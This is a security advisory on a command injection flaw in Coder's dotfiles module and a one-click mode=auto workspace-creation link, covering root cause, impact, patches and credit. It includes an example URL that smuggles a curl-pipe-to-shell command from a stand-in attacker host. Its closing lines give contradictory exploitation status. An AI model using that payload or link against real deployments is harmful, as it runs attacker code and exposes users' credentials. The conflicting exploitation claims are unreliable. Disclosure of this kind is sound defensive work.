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GHSA-m3cr-vc2j-pm27
No affected components available
Command injection via dotfiles URI parameter combined with workspace auto-creation
Summary
The dotfiles registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted dotfiles_uri value (for example, one containing shell command substitution such as $(...)) could achieve command execution in their own workspace. The Create Workspace page's mode=auto deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled param.dotfiles_uri and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.
Details
Command injection in the dotfiles module (root cause)
The dotfiles module interpolated the user-provided dotfiles_uri value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution ($(...)), command separators (;, |, &&), or backticks were interpreted before the coder dotfiles CLI was invoked. The Coder CLI itself uses exec.CommandContext() with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted dotfiles_uri obtained arbitrary code execution in their workspace, even without mode=auto.
Auto-creation amplification (mode=auto)
The Create Workspace page supported a mode=auto query parameter that, combined with param.* URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, param.dotfiles_uri). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.
Example URL:
https://<deployment>/templates/<template>/workspace?mode=auto¶m.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com
Impact
Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With mode=auto, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.
Patches
coder/registry (primary fix)
Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe eval/sh -c usage was removed. This eliminates the command injection at its source.
- https://github.com/coder/registry/pull/703
coder/coder (defense-in-depth)
A consent dialog was added that displays all prefilled param.* values and blocks creation until the user explicitly clicks Confirm and Create. This removes the mode=auto one-click amplification vector.
- Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR #22011)
- Patched releases:
Recognition
We'd like to thank Aviv Donenfeld for responsibly disclosing this issue in accordance with https://coder.com/security/policy
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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